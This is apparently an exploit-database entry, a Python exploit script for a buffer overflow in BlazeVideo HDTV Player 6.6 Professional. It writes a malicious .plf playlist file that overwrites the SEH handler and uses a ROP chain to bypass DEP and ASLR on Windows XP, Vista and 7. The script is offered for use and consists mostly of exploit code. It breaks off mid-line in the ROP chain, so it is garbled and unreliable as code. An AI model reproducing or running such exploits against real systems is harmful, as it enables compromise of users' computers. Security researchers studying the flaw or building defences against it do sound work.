# Exploit Title: BlazeVideo HDTV Player 6.6 Professional (Universal DEP+ASLR Bypass) # Author: modpr0be # Software Download: http://www.blazevideo.com/download.php?product=blazevideo-hdtv-pro # Date: 07/10/2011 # Tested on: Windows XP SP3, Windows Vista SP2, Windows 7 SP1 # Thanks: corelanc0d3r, cyb3r.anbu, otoy, sickness, 5m7x, loneferret, _sinn3r, mr_me # Take a look at mona.py :) awesome tool developed by corelanc0d3r and his team: # https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ # this is the old fashioned bug, i just try to make it universal :) # it has also been exploited by: # Greg Linares: http://www.exploit-db.com/exploits/2880 # LiquidWorm: http://www.exploit-db.com/exploits/7975 # hack4love: http://www.exploit-db.com/exploits/7975 # ThEg0bL!N: http://www.exploit-db.com/exploits/9360 #!/usr/bin/python import struct file = 'blazevideo-universal.plf' totalsize = 5000 junk = 'A' * 872 align = 'B' * 136 #we don't need nseh seh = struct.pack(' ebx rop+= struct.pack(' edx rop+= struct.pack('